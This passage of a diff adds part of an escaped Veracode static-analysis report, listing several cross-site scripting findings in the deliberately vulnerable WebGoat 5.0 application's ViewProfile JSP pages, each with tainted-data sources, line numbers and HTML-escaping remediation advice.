+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
